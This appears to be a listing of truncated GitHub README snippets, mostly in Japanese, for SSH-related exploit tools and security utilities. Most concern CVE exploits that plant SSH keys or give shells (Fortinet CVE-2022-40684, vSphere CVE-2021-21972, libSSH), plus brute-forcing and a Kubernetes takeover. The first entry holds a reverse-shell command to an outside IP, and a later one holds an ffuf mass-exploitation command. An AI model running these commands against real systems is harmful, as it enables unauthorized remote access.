CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

malicious-devfile-registry

悪意のあるDevfileレジストリ このプロジェクトには、GitLabのCVE-2024-0402を悪用するために使用できる悪意のあるDevfileレジストリが含まれています。 エクスプロイト nodejs:2.2.1スタックがインデックス化され、archive.tarファイルを公開します。これは、registry-supportライブラリ v1.1.0より前のパストラバーサルの脆弱性を悪用しています。 tarの場所 : malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar...

GrafXploit

Automated Exploit Tool for Grafana CVE-2021-43798 概要 このプロジェクトは、CVE-2021-43798 に対して脆弱な Grafana インスタンスをスキャンし、侵害されたインスタンスから機密情報を抽出するために設計された自動エクスプロイトツールです。このツールは、脆弱性のあるプラグインを特定し、侵害されたユーザーから SSH 鍵を抽出します。 特徴 脆弱性のある Grafana インスタンスの自動スキャン。 脆弱性のあるプラグインの特定。 SSH 鍵を含む機密ファイルの抽出。 単一および複数ターゲットのスキャン対応。...

crowbar

Crowbar - ブルートフォースツール Crowbarとは？ Crowbar 旧称 Levye は、ペネトレーションテスト中に使用できるブルートフォースツールです。他の一般的なブルートフォースツールとは異なる方法で一部のプロトコルをブルートフォースするために開発されました。例えば、ほとんどのブルートフォースツールがSSHブルートフォースにユーザー名とパスワードを使用するのに対し、CrowbarはSSH鍵を使用します。これにより、ペネトレーションテスト中に入手した秘密鍵を他のSSHサーバーへの攻撃に利用できます。 現在 Crowbar がサポートしているのは: OpenVPN（-b...

vSphereyeeter

vsphereyeeter.sh is an automated bash script to exploit vulnerabilty CVE-2021-21972 in the vSphere Client for vCenter servers. Once executed simply give it the IP Address of your vulnerable target and you will be presented with an SSH shell. "The vSphere Client HTML5 contains a remote code...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 ツール概要 CVE-2022-40684 に対する迅速なエクスプロイトツールです。初心者向けのコードで、問題があれば issus を提出してください。 使用方法 main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub 免責事項 本ツールは、合法的に認可された企業セキュリティ構築活動（例：企業内の攻防演習、脆弱性検証、再テスト）のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身でターゲット環境を構築してください。...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass CVE-2018-10933 を使用して認証情報なしでシェルを取得する libSSH による CVE-2018-10933 の情報 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt libSSH によるバグ修正リリース : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/ これらのフィンガープリントで適切なサーバーを見つける:...

authkeysync

AuthKeySync Sincroniza automáticamente las claves públicas SSH desde URLs remotas a tus servidores 📖 Documentación completa El problema Gestionar el acceso SSH en múltiples servidores es tedioso: Los miembros del equipo se unen o se van, y necesitas actualizar authorizedkeys en cada servidor Los...

CVE-2021-21972

使い方:CVE-2021-21972.py option -u or --url：ターゲットURL -t or --type：ペイロードタイプ（ssh/webshell -f or --file：アップロードするファイル（webshell或authorizedkeys） 例：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy：プロキシを設定 例：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p...

CVE-2018-17873

CVE-2018-17873 ファームウェアバージョン7.0.8rc3以前を実行しているWiFiRanger屋内ルーター（Core、GoAC）とその屋外ペアルーター（Sky Pro、EliteAC、EliteAC FM）は、匿名FTPの読み取り/書き込みアクセスを許可し、SSH秘密鍵を平文のまま残しています。そのため、鍵を表示/コピーしてroot権限でログインすることは簡単です。 この脆弱性を悪用するには、隣接ネットワークへのアクセスが必要です。 エクスプロイト: 秘密鍵を取得してrootとしてログインする、非常にシンプルなシェルスクリプトです。 使用方法:...

sidedoor

sidedoor sidedoor maintains an SSH connection or tunnel with a shell script daemon. The primary use case is maintaining a remote port forward to the local SSH server or another port. Thus, the local device can be accessed without using incoming connections that may be blocked by a NAT or firewall...

kube-alien

Kube-alien このツールは、k8sクラスター内部から攻撃を仕掛けます。つまり、実行するにはクラスター内にPodをデプロイする権限を持つアクセスがすでに必要です。kube-alien Podを実行すると、このイメージ（https://github.com/nixwizard/dockercloud-authorizedkeys）を使用して、ノードの /root/.ssh/authorizedkeys ファイルにあなたの公開鍵を追加することで、クラスターのノードを乗っ取ろうとします。このイメージは docker/dockercloud-authorizedkeys...

htb-facts

HTB — Facts Easy/Linux - シーズン10 概要 FactsはEasyなLinuxマシンで、Camaleon CMSの既知の脆弱性（CVE-2025-2304 ）を悪用してローカルのAWS S3認証情報を抽出する必要があります。内部のS3バケットを列挙するとSSH秘密鍵が見つかり、John the Ripperを使ってそれを解析して初期アクセスを得ます。権限昇格は/usr/bin/facterのsudo設定ミスを悪用して、カスタムRubyコードを実行し、rootシェルを取得することで達成されます。 攻撃チェーン: Nmap → Camaleon CMS...

CVE-2022-40684

CVE-2022-40684（1vere$k 作成） 現時点では、Fortinet FortiOS、FortiProxy、FortiSwitchManager アプライアンスに影響を与える CVE-2022-40684 の POC コピーです。 https://github.com/horizon3ai/CVE-2022-40684 からコピーされました。 分析 このエクスプロイトは単純なペイロードを使用します: PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: Hostname User-Agent: Report Runner...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS 認証バイパス 大量悪用 /api/v2/cmdb/system/admin/ "ssh-public-key1": "" ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="127.0.0.1 :8000";by=”127.0.0.1:9000";' -d...

CVE-2022-40684

CVE-2022-40684 Fortinet FortiOS、FortiProxy、FortiSwitchManager アプライアンスに影響を与える CVE-2022-40684 の POC 技術分析 本脆弱性の技術的根本原因分析は、私たちのブログでご覧いただけます： https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684 侵害指標（IoC） Fortinet...

CVE-2023-34039

CVE-2023-34039 面向 CVE-2023-34039 的 POC：VMWare Aria Operations for Networks（vRealize Network Insight）静态 SSH 密钥远程代码执行 技术分析 关于该漏洞的根因分析，请参见我的博客： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 摘要 VMWare Aria Operations for Networks（vRealize Network Insight）6.0 至 6.10...

debian-ssh

Debian OpenSSL 可预测 PRNG 链接 原始 URL：http://metasploit.com/users/hdm/tools/debian-openssl/（镜像 ） 漏洞利用： https://www.exploit-db.com/exploits/5622/ Perl https://www.exploit-db.com/exploits/5720/ Python https://www.exploit-db.com/exploits/5632/ Ruby 推荐工具：Crowbar （能够暴力破解 SSH 密钥） 测试方法：ssh-vulnkey & dowkd.p...

debian-ssh

Debian OpenSSL Predictable PRNG Links Original URL: http://metasploit.com/users/hdm/tools/debian-openssl/1 Mirror2 Exploit: https://www.exploit-db.com/exploits/5622/ Perl3 https://www.exploit-db.com/exploits/5720/ Python4 https://www.exploit-db.com/exploits/5632/ Ruby12 Recommend Tool: Crowbar13...

fortipwn

fortipwn Rustで構築されたForti CVE-2022-40684列挙スクリプト。 SSH公開鍵をauthorizedkeysにアップロードし、攻撃者がFortiOSを実行しているサーバーにadminとしてSSH接続できるようにします。 使用方法 $ ./fortipwn ビルド $ git clone https://github.com/Grapphy/fortipwn/ $ cd fortipwn $ cargo build --release $ cd target/release/ $ ./fortipwn 出力 $ ./fortipwn examplesip.tx...